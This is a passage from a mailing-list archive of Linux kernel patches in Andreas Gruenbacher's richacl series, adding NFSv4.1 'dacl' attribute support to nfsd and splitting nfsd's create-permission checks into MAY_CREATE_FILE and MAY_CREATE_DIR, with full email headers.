~NFS4_ACE_MASK_ALL) + return nfserr_inval; + ace->e_mask = dummy32; + dummy32 = be32_to_cpup(p++); READ_BUF(dummy32); len += XDR_QUADLEN(dummy32) << 2; @@ -2330,7 +2343,11 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, fhp = tempfh; } if (bmval0 & FATTR4_WORD0_ACL) { - err = nfsd4_get_acl(rqstp, dentry, &acl); + acl = nfsd4_get_acl(rqstp, dentry); + if (IS_ERR(acl)) { + err = PTR_ERR(acl); + acl = NULL; + } if (err == -EOPNOTSUPP) bmval0 &= ~FATTR4_WORD0_ACL; else if (err == -EINVAL) { @@ -2370,7 +2387,7 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, u32 word1 = nfsd_suppattrs1(minorversion); u32 word2 = nfsd_suppattrs2(minorversion); - if (!IS_POSIXACL(dentry->d_inode)) + if (!IS_ACL(d_inode(dentry))) word0 &= ~FATTR4_WORD0_ACL; if (!contextsupport) word2 &= ~FATTR4_WORD2_SECURITY_LABEL; @@ -2505,7 +2522,8 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, if (!p) goto out_resource; *p++ = cpu_to_be32(ace->e_type); - *p++ = cpu_to_be32(ace->e_flags & ~RICHACE_SPECIAL_WHO); + *p++ = cpu_to_be32(ace->e_flags & + ~(RICHACE_SPECIAL_WHO | RICHACE_INHERITED_ACE)); *p++ = cpu_to_be32(ace->e_mask & NFS4_ACE_MASK_ALL); status = nfsd4_encode_ace_who(xdr, rqstp, ace); if (status) @@ -2517,7 +2535,7 @@ out_acl: p = xdr_reserve_space(xdr, 4); if (!p) goto out_resource; - *p++ = cpu_to_be32(IS_POSIXACL(dentry->d_inode) ? + *p++ = cpu_to_be32(IS_ACL(d_inode(dentry)) ? ACL4_SUPPORT_ALLOW_ACL|ACL4_SUPPORT_DENY_ACL : 0); } if (bmval0 & FATTR4_WORD0_CANSETTIME) { -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:46:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D848D29E27 for ; Fri, 23 Oct 2015 13:46:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4E124AC005 for ; Fri, 23 Oct 2015 11:46:24 -0700 (PDT) X-ASG-Debug-ID: 1445625981-04cbb0660c3f480001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 81FBoh5vkhXNJ3hJ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:46:22 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id C39BDC0AF7BF; Fri, 23 Oct 2015 18:46:21 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3f6026588; Fri, 23 Oct 2015 14:46:15 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 37/49] nfsd: Add support for the v4.1 dacl attribute Date: Fri, 23 Oct 2015 20:41:50 +0200 X-ASG-Orig-Subj: [PATCH v12 37/49] nfsd: Add support for the v4.1 dacl attribute Message-Id: <1445625722-13791-38-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625982 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Richacls support the Automatic Inheritance permission propagation mechanism as specified in NFSv4.1. Over NFS, this requires support for the dacl attribute: compared to the acl attribute, the dacl attribute has an additional flags field which indicates when Automatic Inheritance is in use. The server will only indicate dacl attribute support in protocol version 4.1 and later, on file systems with richacl support. This commit also adds support for the NFSv4.1 NFS4_ACE_WRITE_RETENTION and NFS4_ACE_WRITE_RETENTION_HOLD ACL permissions. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/nfsd/nfs4proc.c | 3 +- fs/nfsd/nfs4xdr.c | 219 ++++++++++++++++++++++++++++++---------------- fs/nfsd/nfsd.h | 6 +- include/linux/nfs4.h | 1 + include/uapi/linux/nfs4.h | 3 +- 5 files changed, 155 insertions(+), 77 deletions(-) diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index 1bcfda2..a053e78 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -1781,7 +1781,8 @@ static inline u32 nfsd4_getattr_rsize(struct svc_rqst *rqstp, u32 bmap0 = bmap[0], bmap1 = bmap[1], bmap2 = bmap[2]; u32 ret = 0; - if (bmap0 & FATTR4_WORD0_ACL) + if (bmap0 & FATTR4_WORD0_ACL || + bmap1 & FATTR4_WORD1_DACL) return svc_max_payload(rqstp); if (bmap0 & FATTR4_WORD0_FS_LOCATIONS) return svc_max_payload(rqstp); diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index 682a7d8..33d028c 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -301,6 +301,68 @@ nfsd4_decode_bitmap(struct nfsd4_compoundargs *argp, u32 *bmval) DECODE_TAIL; } +static unsigned int +nfsd4_ace_mask(int minorversion) +{ + return minorversion == 0 ? NFS40_ACE_MASK_ALL : NFS4_ACE_MASK_ALL; +} + +static __be32 +nfsd4_decode_acl_entries(struct nfsd4_compoundargs *argp, struct richacl **acl, + unsigned short flags_mask, unsigned int ace_mask, + int *plen) +{ + struct richace *ace; + u32 dummy32; + char *buf; + int len = 0; + + DECODE_HEAD; + + flags_mask &= RICHACE_VALID_FLAGS & ~RICHACE_SPECIAL_WHO; + + READ_BUF(4); len += 4; + dummy32 = be32_to_cpup(p++); + + if (dummy32 > NFSD4_ACL_MAX) + return nfserr_fbig; + + *acl = svcxdr_alloc_richacl(argp, dummy32); + if (*acl == NULL) + return nfserr_jukebox; + + richacl_for_each_entry(ace, *acl) { + READ_BUF(16); len += 16; + + dummy32 = be32_to_cpup(p++); + if (dummy32 > RICHACE_ACCESS_DENIED_ACE_TYPE) + return nfserr_inval; + ace->e_type = dummy32; + + dummy32 = be32_to_cpup(p++); + if (dummy32 & ~flags_mask) + return nfserr_inval; + ace->e_flags = dummy32; + + dummy32 = be32_to_cpup(p++); + if (dummy32 & ~ace_mask) + return nfserr_inval; + ace->e_mask = dummy32; + + dummy32 = be32_to_cpup(p++); + READ_BUF(dummy32); + len += XDR_QUADLEN(dummy32) << 2; + READMEM(buf, dummy32); + status = nfsd4_decode_ace_who(ace, argp->rqstp, + buf, dummy32); + if (status) + return status; + } + *plen += len; + + DECODE_TAIL; +} + static __be32 nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, struct iattr *iattr, struct richacl **acl, @@ -312,6 +374,7 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, DECODE_HEAD; iattr->ia_valid = 0; + *acl = NULL; if ((status = nfsd4_decode_bitmap(argp, bmval))) return status; @@ -325,50 +388,18 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, iattr->ia_valid |= ATTR_SIZE; } if (bmval[0] & FATTR4_WORD0_ACL) { - u32 nace; - struct richace *ace; - - READ_BUF(4); len += 4; - nace = be32_to_cpup(p++); - - if (nace > NFSD4_ACL_MAX) - return nfserr_fbig; + if (bmval[1] & FATTR4_WORD1_DACL) + return nfserr_inval; - *acl = svcxdr_alloc_richacl(argp, nace); - if (*acl == NULL) + status = nfsd4_decode_acl_entries(argp, acl, + ~NFS4_ACE_INHERITED_ACE, + nfsd4_ace_mask(argp->minorversion), + &len); + if (status) + return status; + else if (*acl == NULL) return nfserr_jukebox; - - richacl_for_each_entry(ace, *acl) { - READ_BUF(16); len += 16; - - dummy32 = be32_to_cpup(p++); - if (dummy32 > RICHACE_ACCESS_DENIED_ACE_TYPE) - return nfserr_inval; - ace->e_type = dummy32; - - dummy32 = be32_to_cpup(p++); - if (dummy32 & (~RICHACE_VALID_FLAGS | - RICHACE_INHERITED_ACE | - RICHACE_SPECIAL_WHO)) - return nfserr_inval; - ace->e_flags = dummy32; - - dummy32 = be32_to_cpup(p++); - if (dummy32 & ~NFS4_ACE_MASK_ALL) - return nfserr_inval; - ace->e_mask = dummy32; - - dummy32 = be32_to_cpup(p++); - READ_BUF(dummy32); - len += XDR_QUADLEN(dummy32) << 2; - READMEM(buf, dummy32); - status = nfsd4_decode_ace_who(ace, argp->rqstp, - buf, dummy32); - if (status) - return status; - } - } else - *acl = NULL; + } if (bmval[1] & FATTR4_WORD1_MODE) { READ_BUF(4); len += 4; @@ -436,6 +467,22 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, goto xdr_error; } } + if (bmval[1] & FATTR4_WORD1_DACL) { + READ_BUF(4); + len += 4; + dummy32 = be32_to_cpup(p++); + if (dummy32 & (~RICHACL_VALID_FLAGS | RICHACL_MASKED)) + return nfserr_inval; + status = nfsd4_decode_acl_entries(argp, acl, + ~0, + nfsd4_ace_mask(argp->minorversion), + &len); + if (status) + return status; + else if (*acl == NULL) + return nfserr_jukebox; + (*acl)->a_flags = dummy32; + } label->len = 0; #ifdef CONFIG_NFSD_V4_SECURITY_LABEL @@ -2272,6 +2319,42 @@ out_resource: return nfserr_resource; } +static __be32 nfsd4_encode_acl_entries(struct xdr_stream *xdr, + struct richacl *acl, struct svc_rqst *rqstp, + unsigned short flags_mask, unsigned int ace_mask) +{ + __be32 *p; + + flags_mask &= ~RICHACE_SPECIAL_WHO; + + p = xdr_reserve_space(xdr, 4); + if (!p) + return nfserr_resource; + + if (acl == NULL) { + *p++ = cpu_to_be32(0); + } else { + struct richace *ace; + + *p++ = cpu_to_be32(acl->a_count); + + richacl_for_each_entry(ace, acl) { + __be32 status; + + p = xdr_reserve_space(xdr, 4*3); + if (!p) + return nfserr_resource; + *p++ = cpu_to_be32(ace->e_type); + *p++ = cpu_to_be32(ace->e_flags & flags_mask); + *p++ = cpu_to_be32(ace->e_mask & ace_mask); + status = nfsd4_encode_ace_who(xdr, rqstp, ace); + if (status) + return status; + } + } + return 0; +} + /* * Note: @fhp can be NULL; in this case, we might have to compose the filehandle * ourselves. @@ -2342,15 +2425,16 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, goto out; fhp = tempfh; } - if (bmval0 & FATTR4_WORD0_ACL) { + if ((bmval0 & FATTR4_WORD0_ACL) || (bmval1 & FATTR4_WORD1_DACL)) { acl = nfsd4_get_acl(rqstp, dentry); if (IS_ERR(acl)) { err = PTR_ERR(acl); acl = NULL; } - if (err == -EOPNOTSUPP) + if (err == -EOPNOTSUPP) { bmval0 &= ~FATTR4_WORD0_ACL; - else if (err == -EINVAL) { + bmval1 &= ~FATTR4_WORD1_DACL; + } else if (err == -EINVAL) { status = nfserr_attrnotsupp; goto out; } else if (err != 0) @@ -2389,6 +2473,8 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, if (!IS_ACL(d_inode(dentry))) word0 &= ~FATTR4_WORD0_ACL; + if (!IS_RICHACL(d_inode(dentry))) + word1 &= ~FATTR4_WORD1_DACL; if (!contextsupport) word2 &= ~FATTR4_WORD2_SECURITY_LABEL; if (!word2) { @@ -2502,35 +2588,12 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, *p++ = cpu_to_be32(rdattr_err); } if (bmval0 & FATTR4_WORD0_ACL) { - struct richace *ace; - - if (acl == NULL) { - p = xdr_reserve_space(xdr, 4); - if (!p) - goto out_resource; - - *p++ = cpu_to_be32(0); - goto out_acl; - } - p = xdr_reserve_space(xdr, 4); - if (!p) - goto out_resource; - *p++ = cpu_to_be32(acl->a_count); - - richacl_for_each_entry(ace, acl) { - p = xdr_reserve_space(xdr, 4*3); - if (!p) - goto out_resource; - *p++ = cpu_to_be32(ace->e_type); - *p++ = cpu_to_be32(ace->e_flags & - ~(RICHACE_SPECIAL_WHO | RICHACE_INHERITED_ACE)); - *p++ = cpu_to_be32(ace->e_mask & NFS4_ACE_MASK_ALL); - status = nfsd4_encode_ace_who(xdr, rqstp, ace); - if (status) - goto out; - } + status = nfsd4_encode_acl_entries(xdr, acl, rqstp, + ~NFS4_ACE_INHERITED_ACE, + nfsd4_ace_mask(minorversion)); + if (status) + goto out; } -out_acl: if (bmval0 & FATTR4_WORD0_ACLSUPPORT) { p = xdr_reserve_space(xdr, 4); if (!p) @@ -2746,6 +2809,16 @@ out_acl: } p = xdr_encode_hyper(p, ino); } + if (bmval1 & FATTR4_WORD1_DACL) { + p = xdr_reserve_space(xdr, 4); + if (!p) + goto out_resource; + *p++ = cpu_to_be32(acl->a_flags); + status = nfsd4_encode_acl_entries(xdr, acl, rqstp, + ~0, nfsd4_ace_mask(minorversion)); + if (status) + goto out; + } #ifdef CONFIG_NFSD_PNFS if (bmval1 & FATTR4_WORD1_FS_LAYOUT_TYPES) { status = nfsd4_encode_layout_type(xdr, exp->ex_layout_type); diff --git a/fs/nfsd/nfsd.h b/fs/nfsd/nfsd.h index cf98052..cb5c3ed 100644 --- a/fs/nfsd/nfsd.h +++ b/fs/nfsd/nfsd.h @@ -339,7 +339,8 @@ void nfsd_lockd_shutdown(void); NFSD4_SUPPORTED_ATTRS_WORD0 #define NFSD4_1_SUPPORTED_ATTRS_WORD1 \ - (NFSD4_SUPPORTED_ATTRS_WORD1 | PNFSD_SUPPORTED_ATTRS_WORD1) + (NFSD4_SUPPORTED_ATTRS_WORD1 | PNFSD_SUPPORTED_ATTRS_WORD1 | \ + FATTR4_WORD1_DACL) #define NFSD4_1_SUPPORTED_ATTRS_WORD2 \ (NFSD4_SUPPORTED_ATTRS_WORD2 | PNFSD_SUPPORTED_ATTRS_WORD2 | \ @@ -386,7 +387,8 @@ static inline u32 nfsd_suppattrs2(u32 minorversion) (FATTR4_WORD0_SIZE | FATTR4_WORD0_ACL) #define NFSD_WRITEABLE_ATTRS_WORD1 \ (FATTR4_WORD1_MODE | FATTR4_WORD1_OWNER | FATTR4_WORD1_OWNER_GROUP \ - | FATTR4_WORD1_TIME_ACCESS_SET | FATTR4_WORD1_TIME_MODIFY_SET) + | FATTR4_WORD1_TIME_ACCESS_SET | FATTR4_WORD1_TIME_MODIFY_SET \ + | FATTR4_WORD1_DACL) #ifdef CONFIG_NFSD_V4_SECURITY_LABEL #define NFSD_WRITEABLE_ATTRS_WORD2 FATTR4_WORD2_SECURITY_LABEL #else diff --git a/include/linux/nfs4.h b/include/linux/nfs4.h index 1422fc6..682ced3 100644 --- a/include/linux/nfs4.h +++ b/include/linux/nfs4.h @@ -394,6 +394,7 @@ enum lock_type4 { #define FATTR4_WORD1_TIME_MODIFY (1UL << 21) #define FATTR4_WORD1_TIME_MODIFY_SET (1UL << 22) #define FATTR4_WORD1_MOUNTED_ON_FILEID (1UL << 23) +#define FATTR4_WORD1_DACL (1UL << 26) #define FATTR4_WORD1_FS_LAYOUT_TYPES (1UL << 30) #define FATTR4_WORD2_LAYOUT_TYPES (1UL << 0) #define FATTR4_WORD2_LAYOUT_BLKSIZE (1UL << 1) diff --git a/include/uapi/linux/nfs4.h b/include/uapi/linux/nfs4.h index 2b871e0..b850ffd 100644 --- a/include/uapi/linux/nfs4.h +++ b/include/uapi/linux/nfs4.h @@ -121,7 +121,8 @@ #define NFS4_ACE_GENERIC_READ 0x00120081 #define NFS4_ACE_GENERIC_WRITE 0x00160106 #define NFS4_ACE_GENERIC_EXECUTE 0x001200A0 -#define NFS4_ACE_MASK_ALL 0x001F01FF +#define NFS40_ACE_MASK_ALL 0x001F01FF +#define NFS4_ACE_MASK_ALL 0x001F07FF #define EXCHGID4_FLAG_SUPP_MOVED_REFER 0x00000001 #define EXCHGID4_FLAG_SUPP_MOVED_MIGR 0x00000002 -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:46:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6173929E4A for ; Fri, 23 Oct 2015 13:46:30 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 42541304032 for ; Fri, 23 Oct 2015 11:46:30 -0700 (PDT) X-ASG-Debug-ID: 1445625988-04cbb0660e3f4a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id gtfZCXD6nav163z5 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:46:29 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 77B88C0AF799; Fri, 23 Oct 2015 18:46:28 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3f7026588; Fri, 23 Oct 2015 14:46:22 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 38/49] nfsd: Add support for the MAY_CREATE_{FILE,DIR} permissions Date: Fri, 23 Oct 2015 20:41:51 +0200 X-ASG-Orig-Subj: [PATCH v12 38/49] nfsd: Add support for the MAY_CREATE_{FILE,DIR} permissions Message-Id: <1445625722-13791-39-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625989 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 For local file systems, the vfs performs the necessary permission checks for operations like creating files and directories. NFSd duplicates several of those checks. The vfs checks have been extended to check for additional permissions like MAY_CREATE_FILE and MY_CREATE_DIR; the nfsd checks currently lack those extensions. Ideally, all duplicate checks should be removed; for now, just fix the duplicate checks instead though. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/nfsd/nfs4proc.c | 5 +++-- fs/nfsd/nfsfh.c | 8 ++++---- fs/nfsd/vfs.c | 28 ++++++++++++++++++++-------- fs/nfsd/vfs.h | 17 +++++++++-------- 4 files changed, 36 insertions(+), 22 deletions(-) diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index a053e78..8d476ff 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -599,14 +599,15 @@ static __be32 nfsd4_create(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, struct nfsd4_create *create) { + int access = create->cr_type == NF4DIR ? + NFSD_MAY_CREATE_DIR : NFSD_MAY_CREATE_FILE; struct svc_fh resfh; __be32 status; dev_t rdev; fh_init(&resfh, NFS4_FHSIZE); - status = fh_verify(rqstp, &cstate->current_fh, S_IFDIR, - NFSD_MAY_CREATE); + status = fh_verify(rqstp, &cstate->current_fh, S_IFDIR, access); if (status) return status; diff --git a/fs/nfsd/nfsfh.c b/fs/nfsd/nfsfh.c index 350041a..7159316 100644 --- a/fs/nfsd/nfsfh.c +++ b/fs/nfsd/nfsfh.c @@ -319,10 +319,10 @@ fh_verify(struct svc_rqst *rqstp, struct svc_fh *fhp, umode_t type, int access) /* * We still have to do all these permission checks, even when * fh_dentry is already set: - * - fh_verify may be called multiple times with different - * "access" arguments (e.g. nfsd_proc_create calls - * fh_verify(...,NFSD_MAY_EXEC) first, then later (in - * nfsd_create) calls fh_verify(...,NFSD_MAY_CREATE). + * - fh_verify may be called multiple times with different + * "access" arguments (e.g. nfsd_proc_create calls + * fh_verify(...,NFSD_MAY_EXEC) first, then later (in + * nfsd_create) calls fh_verify(...,NFSD_MAY_CREATE_FILE). * - in the NFSv4 case, the filehandle may have been filled * in by fh_compose, and given a dentry, but further * compound operations performed with that filehandle diff --git a/fs/nfsd/vfs.c b/fs/nfsd/vfs.c index 45c0497..fb35775 100644 --- a/fs/nfsd/vfs.c +++ b/fs/nfsd/vfs.c @@ -1128,6 +1128,8 @@ nfsd_create(struct svc_rqst *rqstp, struct svc_fh *fhp, __be32 err; __be32 err2; int host_err; + int access = (type == S_IFDIR) ? + NFSD_MAY_CREATE_DIR : NFSD_MAY_CREATE_FILE; err = nfserr_perm; if (!flen) @@ -1136,7 +1138,7 @@ nfsd_create(struct svc_rqst *rqstp, struct svc_fh *fhp, if (isdotent(fname, flen)) goto out; - err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, fhp, S_IFDIR, access); if (err) goto out; @@ -1301,7 +1303,7 @@ do_nfsd_create(struct svc_rqst *rqstp, struct svc_fh *fhp, /* If file doesn't exist, check for permissions to create one */ if (d_really_is_negative(dchild)) { - err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE_FILE); if (err) goto out; } @@ -1485,7 +1487,7 @@ nfsd_symlink(struct svc_rqst *rqstp, struct svc_fh *fhp, if (isdotent(fname, flen)) goto out; - err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE_FILE); if (err) goto out; @@ -1532,7 +1534,7 @@ nfsd_link(struct svc_rqst *rqstp, struct svc_fh *ffhp, __be32 err; int host_err; - err = fh_verify(rqstp, ffhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, ffhp, S_IFDIR, NFSD_MAY_CREATE_FILE); if (err) goto out; err = fh_verify(rqstp, tfhp, 0, NFSD_MAY_NOP); @@ -1604,11 +1606,12 @@ nfsd_rename(struct svc_rqst *rqstp, struct svc_fh *ffhp, char *fname, int flen, struct inode *fdir, *tdir; __be32 err; int host_err; + int access; err = fh_verify(rqstp, ffhp, S_IFDIR, NFSD_MAY_REMOVE); if (err) goto out; - err = fh_verify(rqstp, tfhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, tfhp, S_IFDIR, NFSD_MAY_NOP); if (err) goto out; @@ -1647,6 +1650,13 @@ nfsd_rename(struct svc_rqst *rqstp, struct svc_fh *ffhp, char *fname, int flen, if (odentry == trap) goto out_dput_old; + host_err = 0; + access = S_ISDIR(d_inode(odentry)->i_mode) ? + NFSD_MAY_CREATE_DIR : NFSD_MAY_CREATE_FILE; + err = fh_verify(rqstp, tfhp, S_IFDIR, access); + if (err) + goto out_dput_old; + ndentry = lookup_one_len(tname, tdentry, tlen); host_err = PTR_ERR(ndentry); if (IS_ERR(ndentry)) @@ -1672,7 +1682,8 @@ nfsd_rename(struct svc_rqst *rqstp, struct svc_fh *ffhp, char *fname, int flen, out_dput_old: dput(odentry); out_nfserr: - err = nfserrno(host_err); + if (host_err) + err = nfserrno(host_err); /* * We cannot rely on fh_unlock on the two filehandles, * as that would do the wrong thing if the two directories @@ -2005,8 +2016,9 @@ nfsd_permission(struct svc_rqst *rqstp, struct svc_export *exp, uid_eq(inode->i_uid, current_fsuid())) return 0; - /* This assumes NFSD_MAY_{READ,WRITE,EXEC} == MAY_{READ,WRITE,EXEC} */ - err = inode_permission(inode, acc & (MAY_READ|MAY_WRITE|MAY_EXEC)); + /* This assumes NFSD_MAY_{READ,WRITE,EXEC} == MAY_{READ,WRITE,EXEC}. */ + err = inode_permission(inode, acc & (MAY_READ|MAY_WRITE|MAY_EXEC| + MAY_CREATE_DIR|MAY_CREATE_FILE)); /* Allow read access to binaries even when mode 111 */ if (err == -EACCES && S_ISREG(inode->i_mode) && diff --git a/fs/nfsd/vfs.h b/fs/nfsd/vfs.h index fee2451..c849ef2 100644 --- a/fs/nfsd/vfs.h +++ b/fs/nfsd/vfs.h @@ -19,18 +19,19 @@ #define NFSD_MAY_TRUNC 0x010 #define NFSD_MAY_LOCK 0x020 #define NFSD_MAY_MASK 0x03f +#define NFSD_MAY_CREATE_FILE 0x103 /* == MAY_{EXEC|WRITE|CREATE_FILE} */ +#define NFSD_MAY_CREATE_DIR 0x203 /* == MAY_{EXEC|WRITE|CREATE_DIR} */ /* extra hints to permission and open routines: */ -#define NFSD_MAY_OWNER_OVERRIDE 0x040 -#define NFSD_MAY_LOCAL_ACCESS 0x080 /* for device special files */ -#define NFSD_MAY_BYPASS_GSS_ON_ROOT 0x100 -#define NFSD_MAY_NOT_BREAK_LEASE 0x200 -#define NFSD_MAY_BYPASS_GSS 0x400 -#define NFSD_MAY_READ_IF_EXEC 0x800 +#define NFSD_MAY_OWNER_OVERRIDE 0x04000 +#define NFSD_MAY_LOCAL_ACCESS 0x08000 /* for device special files */ +#define NFSD_MAY_BYPASS_GSS_ON_ROOT 0x10000 +#define NFSD_MAY_NOT_BREAK_LEASE 0x20000 +#define NFSD_MAY_BYPASS_GSS 0x40000 +#define NFSD_MAY_READ_IF_EXEC 0x80000 -#define NFSD_MAY_64BIT_COOKIE 0x1000 /* 64 bit readdir cookies for >= NFSv3 */ +#define NFSD_MAY_64BIT_COOKIE 0x100000 /* 64 bit readdir cookies for >= NFSv3 */ -#define NFSD_MAY_CREATE (NFSD_MAY_EXEC|NFSD_MAY_WRITE) #define NFSD_MAY_REMOVE (NFSD_MAY_EXEC|NFSD_MAY_WRITE|NFSD_MAY_TRUNC) /* -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:46:38 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1DB9829E27 for ; Fri, 23 Oct 2015 13:46:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EF1348F8033 for ; Fri, 23 Oct 2015 11:46:37 -0700 (PDT) X-ASG-Debug-ID: 1445625995-04cbb0660c3f4b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id UwXEsDyjlkzbv5Dn (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:46:35 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 2EC3D8EA37; Fri, 23 Oct 2015 18:46:35 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3f8026588; Fri, 23 Oct 2015 14:46:29 -0400 From: Andreas Gruenbacher To: Alexander Viro 